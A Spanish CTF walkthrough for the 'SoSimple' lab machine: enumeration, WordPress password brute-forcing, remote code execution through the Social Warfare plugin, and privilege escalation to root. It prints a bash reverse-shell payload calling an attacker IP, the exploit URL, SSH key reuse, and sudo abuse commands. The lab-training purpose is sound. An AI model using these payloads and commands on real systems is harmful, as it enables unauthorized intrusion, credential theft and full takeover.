# SoSimple

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgzXim8Gyb2yTzmSuFKQ6%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(3).png?alt=media&#x26;token=c0358253-d96f-4b39-8531-352bce327172" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de servicios abiertos

Vamos a comenzar la resolución del CTF SoSimple enumerando los puertos que tiene la máquina abiertos. Comenzamos por una enumeración rápida de los servicios.

```
nmap -p- --open --min-rate 1000 -Pn -n -vvv 192.168.98.78
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FReRisOJsp3QaNfYvcUjU%2Fimage.png?alt=media&#x26;token=670d1270-02a9-40f0-b507-827d72d18e5f" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos: 22 y 80. Veamos que versiones se están ejecutando.

```
nmap -p22,80 -Pn -n -sVC -vvv 192.168.98.78
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Ft0mx3p23fBKErj1fdQJV%2Fimage.png?alt=media&#x26;token=f5d737ec-760d-40a6-a313-39c57b680ecb" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 8.2
* Puerto 80 -> HTTP -> Apache httpd 2.4.41

### Enumeración Web

La máquina víctima está ejecutando un servicio Web en el puerto 80. Vamos a ver el contenido del sitio Web.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FG3Qym7GcXj15EMCWyex6%2Fimage.png?alt=media&#x26;token=444183b9-8fc7-4bfc-98d3-24d7a4def93f" alt=""><figcaption></figcaption></figure>

No hay gran cosa en el sitio Web, más allá de esta imagen. El siguiente paso será la enumeración de directorios y archivos.&#x20;

```
dirsearch -u http://192.168.98.78 -i200,301 -e txt,html,php 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FE18tdcQkAqBP8pVxRayd%2Fimage.png?alt=media&#x26;token=0ef0672b-ddc8-41d4-a05a-863f3f2699f9" alt=""><figcaption></figcaption></figure>

Existe un directorio /wordpress. Vamos a ver su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fmeet5ToFwOBQyNOIgqcz%2Fimage.png?alt=media&#x26;token=7853f871-6c59-4b9d-94ea-9464933dc701" alt=""><figcaption></figcaption></figure>

Parece que estamos ante un CMS WordPress. Podemos utilizar la herramienta wp-scan para tratar de extraer más infomración de este CMS.

```
wpscan --url http://192.168.98.78/wordpress --enumerate
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FENSYdtMA4NEhnReLhmvn%2Fimage.png?alt=media&#x26;token=1b64913d-011f-4ed6-8f4e-fbefaf8e7b55" alt=""><figcaption></figcaption></figure>

Encontramos el nombre de dos usuarios del CMS: admin y max.&#x20;

Vamos a realizar un ataque de fuerza bruta para tratar de encontrar la password de los usuarios admin y max. Para ello, volvemos a utilizar wp-scan.

```
wpscan --url http://192.168.98.78/wordpress -U max -P /home/elhackeretico/rockyou.txt
```

La primera información interesante que nos devuelve es la ejecución del plugin social-warfare

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Ff6XBLEPihyKINxfK14Td%2Fimage.png?alt=media&#x26;token=f54577d5-4eb5-4aa0-81ff-9f5301d850b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FD4pDrFRb4mkGvETRW7yv%2Fimage.png?alt=media&#x26;token=70382ab5-e04c-4362-9ad3-ac237b9f3cbc" alt=""><figcaption></figcaption></figure>

También encontramos la contraseña del usuario max, opensesame.&#x20;

## Explotación

Haciendo uso de las credenciales obtenenidas, vamos a tratar de iniciar sesión en el panel de administrador del CMS.

```
http://192.168.98.78/wordpress/wp-login.php
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FbmpkJoMtFFtZnrbuZxid%2Fimage.png?alt=media&#x26;token=b0dc9a7a-5347-41f5-9b13-64ce436c2867" alt=""><figcaption></figcaption></figure>

Una vez que proporcionamos las credenciales y pulsamos el botón de confirmación, logramos acceder al perfil de Max. Intentamos subir una shell desde este punto para tener control de los comandos del sistema objetivo, sin embargo, el intento no tuvo éxito.

Durante el proceso de enumeración, también encontramos algunos complementos vulnerables, así que intentemos identificar las vulnerabilidades en estos complementos. Buscamos la versión del complemento en Google y encontramos un exploit de ejecución de código remoto para el complemento instalado, como se puede ver en la captura de pantalla que aparece a continuación.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FNHv6FSlizxURRP51Oz1T%2Fimage.png?alt=media&#x26;token=b19b30c6-f899-4291-b43c-1a0cd9fd8bf6" alt=""><figcaption></figcaption></figure>

Investigamos el exploit y descubrimos que hay ciertos pasos que deben seguirse para ejecutarlo con éxito.

Creamos un archivo llamado payload.txt con el siguiente contenido.

```
<pre>system("bash -c 'bash -i >& /dev/tcp/192.168.49.98/8080 0>&1'")</pre>
```

El siguiente paso será levantar un servidor http con Python para poder enviar el archivo al sistema víctima.

```
python3 -m http.server 80
```

También levantaremos un oyente nc en el puerto indicado en la shell.

Después de seguir todos estos pasos, deberemos ejecutar la URL que se indica en el exploit anterior, cargando el payload que hemos generado.

```
http://192.168.98.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.49.98/payload.txt
```

Después de ejecutar esto, ya tendremos conexión con la máquina objetivo.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F5sEOhPL2Th8ll5MPezRr%2Fimage.png?alt=media&#x26;token=95fd9a4d-dd46-42d8-8947-2c829fc5bc62" alt=""><figcaption></figcaption></figure>

Vamos a tratar de buscar la flag local.txt

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FTQ1tdcUHLHA5FNN7tOe4%2Fimage.png?alt=media&#x26;token=9c30b4de-d4e3-439a-b36b-1e1cfe3c5320" alt=""><figcaption></figcaption></figure>

## Pivotando de www-data a usuario max

Vamos al directorio /home, para ver que usuarios tiene el sistema.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Ful6KZ5EaTLNXexIUWQCg%2Fimage.png?alt=media&#x26;token=2f66cd63-8ac6-4c42-b611-c0ad90d45d1b" alt=""><figcaption></figcaption></figure>

Dos usuarios en el sistema. Vamos a enumerar el contenido de ambos usuarios de la siguiente manera:

```
find . 2>/dev/null
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FsWBhVc5zHd8xoURIMEf6%2Fimage.png?alt=media&#x26;token=79a68253-f477-48bf-bd19-07a307812df6" alt=""><figcaption></figcaption></figure>

Encontramos los siguientes archivos que pueden ser interesantes. Todos son rabbits hole exceptuando aquellos del usuario max relacionados con SSH. Vamos a copiar la id\_rsa del usuario max para tratar de conectarnos a la máquina víctima con este usuario a través de SSH.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FATGxBhysqhg8r1HPH8uE%2Fimage.png?alt=media&#x26;token=e900390d-dd50-46d6-a44a-c12a28c8449b" alt=""><figcaption></figcaption></figure>

Ahora tratamos de conectarnos a través de SSH de la siguiente manera:

```
nano id_rsa (crear archivo)
chmod 600 id_rsa
ssh -i id_rsa max@IP
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FFjBXnAauqmsSbLCPHvSq%2Fimage.png?alt=media&#x26;token=b16444cd-c3b6-4468-83c7-2b87a82f90bd" alt=""><figcaption></figcaption></figure>

Ya tenemos conexión en la máquina objetivo como usuario max.

## Pivotando de usuario max a usuario steven

Una vez nos conectamos a la máquina como usuario max, vamos a tratar de elevar privielgios. Comenzamos con sudo -l para enumerar que puede ejecutar el usuario max como root sin contraseña.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FhUBFaxiJtjdCz3uY6EU9%2Fimage.png?alt=media&#x26;token=9a4827bc-e388-4193-becf-3047b3d49c35" alt=""><figcaption></figcaption></figure>

Interesante, podemos ejecutar el binario service pero como usuario steven, lo que nos puede servir para pivotar hacia este usuario.&#x20;

```
sudo -u steven /usr/sbin/service ../../bin/bash
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyB9SJf5kbHy0KZXLEsSJ%2Fimage.png?alt=media&#x26;token=dfda795d-5063-44f7-bb6f-448ed0cc48ad" alt=""><figcaption></figcaption></figure>

Ya como usuario steven, vamos a volver a enumerar vectores de elevación de privilegios.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyMQCUs0VKoxhNN2lJE6X%2Fimage.png?alt=media&#x26;token=7d8d9711-c30b-4e01-ae30-98f28dfc8acb" alt=""><figcaption></figcaption></figure>

El usuario steven puede ejecutar la aplicación server-health.sh como root. Veamos como podemos elevar privilegios aprovechando este vector.

Si tratamos de buscar el archivo, vemos que no existe.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Flu378HTPYVHlKoRMjxt5%2Fimage.png?alt=media&#x26;token=5079f661-be9d-4308-9d3a-3e08f93c6a5f" alt=""><figcaption></figcaption></figure>

Veamos los permisos de esa carpeta.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FdBiOnG3QM34dZt4nUbJX%2Fimage.png?alt=media&#x26;token=c87d92da-f533-47ce-ad6d-02689f3014de" alt=""><figcaption></figcaption></figure>

El usuario steven tiene acceso de escritura en el directorio /opt , por lo que únicamente debemos crear el archivo y luego, ejecutarlo como root.

```
mkdir /opt/tools
echo -e '#!/bin/bash\nexec /bin/bash' > /opt/tools/server-health.sh
chmod +x /opt/tools/server-health.sh
sudo /opt/tools/server-health.sh
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F5q07KB1J7hFGumD9NkI3%2Fimage.png?alt=media&#x26;token=e0c23fde-fe06-413d-9b6f-68d6a36b91ca" alt=""><figcaption></figcaption></figure>

Solo quedará buscar la flag root para finalizar la resolución de este CTF.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FvqX0zcRu5ogcUrstsIk2%2Fimage.png?alt=media&#x26;token=eab77c32-631c-4bb6-9432-1a5dae1c11cf" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=Q4S_Bw8INeo>" %}
